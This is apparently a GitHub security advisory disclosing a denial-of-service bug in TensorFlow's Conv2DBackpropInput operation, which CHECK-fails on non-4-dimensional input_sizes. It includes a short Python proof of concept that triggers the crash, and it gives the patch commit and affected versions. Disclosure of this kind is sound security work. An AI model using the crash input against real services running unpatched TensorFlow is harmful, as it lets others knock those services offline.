GHSA-q2c3-jpmc-gfjx

Impact

The implementation of Conv2DBackpropInput requires input_sizes to be 4-dimensional. Otherwise, it gives a CHECK failure which can be used to trigger a denial of service attack:

import tensorflow as tf

strides = [1, 1, 1, 1]
padding = "SAME"
use_cudnn_on_gpu = True
explicit_paddings = []
data_format = "NHWC"
dilations = [1, 1, 1, 1]
input_sizes = tf.constant([65534,65534], shape=[2], dtype=tf.int32)
filter = tf.constant(0.159749106, shape=[3,3,2,2], dtype=tf.float32)
out_backprop = tf.constant(0, shape=[], dtype=tf.float32)
tf.raw_ops.Conv2DBackpropInput(input_sizes=input_sizes, filter=filter, out_backprop=out_backprop, strides=strides, padding=padding, use_cudnn_on_gpu=use_cudnn_on_gpu, explicit_paddings=explicit_paddings, data_format=data_format, dilations=dilations)

Patches

We have patched the issue in GitHub commit 50156d547b9a1da0144d7babe665cf690305b33c.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

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Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.